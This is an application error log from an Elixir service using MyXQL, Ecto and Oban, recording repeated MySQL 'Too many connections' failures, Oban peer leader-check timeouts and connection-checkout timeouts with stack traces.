[Sat Sep  5 22:05:45.769000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:49.290000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:49.858000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:50.862000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:05:55.863000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:05:57.220000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:57.397000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:05:58.228000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:00.723000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:06:00.726000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:01.174000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:03.657000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:05.094000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:06.503000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:06.584000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:07.778000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:14.253000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:14.943000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:19.017000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:19.790000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:21.862000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1011.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 22:06:24.895000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:25.161000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:30.492000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:33.927000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:34.756000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:06:39.757000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:06:41.785000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:42.536000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:42.889000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:43.764000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:06:45.851000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:45.934000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:48.842000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:50.330000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:57.371000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:58.329000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:58.342000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:06:58.912000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:00.406000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:03.836000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:09.094000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:10.254000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:14.707000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:17.796000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:07:18.766000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:07:22.216000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:22.797000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:07:26.429000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:27.646000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:07:27.648000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:28.605000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:29.099000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:29.397000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:30.611000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:32.036000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:35.518000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:36.215000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:37.079000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:39.651000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:43.058000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:46.988000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:49.819000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:51.438000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:07:54.785000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:00.678000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:08:00.785000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:01.669000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:05.355000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:05.679000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:08:05.727000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:08:09.436000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:10.096000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:08:10.100000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:12.306000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:17.268000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:17.837000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:23.646000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:26.825000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:28.255000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:38.346000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:43.291000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:43.923000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:44.129000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:08:49.130000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:08:53.770000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:08:53.785000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:08:53.787000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:53.918000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:08:56.553000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:09:03.758000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:09:13.078000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:09:17.431000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:09:22.675000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:09:23.938000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:09:27.818000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:09:28.772000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:09:32.819000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
